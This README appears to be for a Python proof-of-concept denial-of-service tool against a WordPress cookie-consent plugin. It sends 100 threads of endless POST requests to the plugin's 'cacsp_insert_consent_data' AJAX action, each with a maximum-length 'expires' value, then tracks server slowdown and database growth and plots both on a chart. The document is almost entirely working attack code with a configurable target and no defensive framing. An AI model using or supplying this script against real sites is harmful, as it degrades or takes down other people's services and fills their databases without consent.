README.md
Rendering markdown...
import requests
import threading
import time
from datetime import datetime
import matplotlib.pyplot as plt
import argparse
# Global lists for chart data
response_times = []
timestamps = []
timeout_times = []
successful_requests = 0
db_sizes = [] # Track database size over time
# Simple function to spam the target with AJAX requests
def ajax_dos_attack(target_url):
# Basic payload that triggers the vulnerable endpoint
data = {
'action': 'cacsp_insert_consent_data',
'accepted_cookies': 'necessary,experience,analytics,marketing',
'expires': "9" * 255 # TINYTEXT max length
}
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': target_url,
'X-Requested-With': 'XMLHttpRequest'
}
# Keep hammering the server until stopped
while True:
try:
# Start timing the request
start_time = time.time()
# Fire the request at admin-ajax.php
response = requests.post(
f"{target_url}/wp-admin/admin-ajax.php",
data=data,
headers=headers,
timeout=5
)
# Calculate how long the server took to respond
response_time = round((time.time() - start_time) * 1000, 2)
# Record data for chart
response_times.append(response_time)
timestamps.append(time.time())
# Calculate database impact (only for successful requests)
if response.status_code == 200:
global successful_requests
successful_requests += 1
# Dynamic calculation based on actual payload data
time_bytes = 19 # "2024-08-04 22:10:41"
ip_bytes = 13 # Average IPv4 length
accepted_cookies_bytes = len(data['accepted_cookies']) + 1 # payload + space
expires_bytes = len(data['expires'])
site_bytes = 1 # "1"
mysql_overhead = 22 # InnoDB overhead per row
bytes_per_row = time_bytes + ip_bytes + accepted_cookies_bytes + expires_bytes + site_bytes + mysql_overhead
db_size_mb = (successful_requests * bytes_per_row) / 1024 / 1024
db_sizes.append(db_size_mb)
db_info = f" | DB: {db_size_mb:.2f}MB ({successful_requests} rows, {bytes_per_row}b/row)"
else:
db_info = ""
db_sizes.append(db_sizes[-1] if db_sizes else 0) # Keep last size for failed requests
# Show if request worked and how slow the server got
status = "✓" if response.status_code == 200 else "✗"
print(f"[{datetime.now().strftime('%H:%M:%S')}] {status} Status: {response.status_code} | Response time: {response_time}ms{db_info}")
except requests.exceptions.Timeout:
# Server is probably getting overwhelmed
timeout_times.append(time.time())
print(f"[{datetime.now().strftime('%H:%M:%S')}] ⚠ TIMEOUT - server not responding")
except Exception as e:
# Something else broke
print(f"[{datetime.now().strftime('%H:%M:%S')}] ✗ Error: {str(e)[:60]}")
# Main attack launcher
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="DoS attack via vulnerable WordPress AJAX endpoint")
parser.add_argument("--target", required=True, help="Target WordPress URL (e.g. https://example.com)")
parser.add_argument("--threads", type=int, default=100, help="Number of threads (default: 100)")
args = parser.parse_args()
target = args.target
thread_count = args.threads
print(f"\nLaunching DoS attack with {thread_count} threads...")
print("Press Ctrl+C to stop the attack\n")
# Spawn all the attack threads
threads = []
for i in range(thread_count):
t = threading.Thread(target=ajax_dos_attack, args=(target,))
t.daemon = True # Die when main program dies
t.start()
threads.append(t)
# Small delay to avoid overwhelming our own system
time.sleep(0.01)
try:
# Keep the chaos going until user stops it
while True:
time.sleep(1)
except KeyboardInterrupt:
# Clean shutdown and generate chart
print("\n\nStopped by user")
if response_times:
# Sync list lengths (threads may add data after interrupt)
min_len = min(len(response_times), len(timestamps), len(db_sizes))
times = [(timestamps[i] - timestamps[0]) for i in range(min_len)]
responses = response_times[:min_len]
db_data = db_sizes[:min_len]
# Create subplots
fig, (ax1, ax2) = plt.subplots(2, 1, figsize=(12, 10))
# Response time chart (top)
ax1.plot(times, responses, 'b-', linewidth=0.5, label='Response Time')
if timeout_times and timestamps:
timeout_relative = [(t - timestamps[0]) for t in timeout_times if timestamps]
ax1.scatter(timeout_relative, [5000] * len(timeout_relative), color='red', s=20, label='Timeouts', zorder=5)
ax1.set_ylabel('Response Time (ms)')
ax1.set_title('Cookies and Content Security Policy')
ax1.legend()
ax1.grid(True, alpha=0.3)
# Database size chart (bottom)
ax2.plot(times, db_data, 'g-', linewidth=1, label='Database Size')
ax2.set_xlabel('Time (seconds)')
ax2.set_ylabel('Database Size (MB)')
ax2.set_title('Database Growth Over Time')
ax2.legend()
ax2.grid(True, alpha=0.3)
plt.tight_layout()
plt.savefig('dos_attack_chart.png', dpi=150, bbox_inches='tight')
print("Chart saved as 'dos_attack_chart.png'")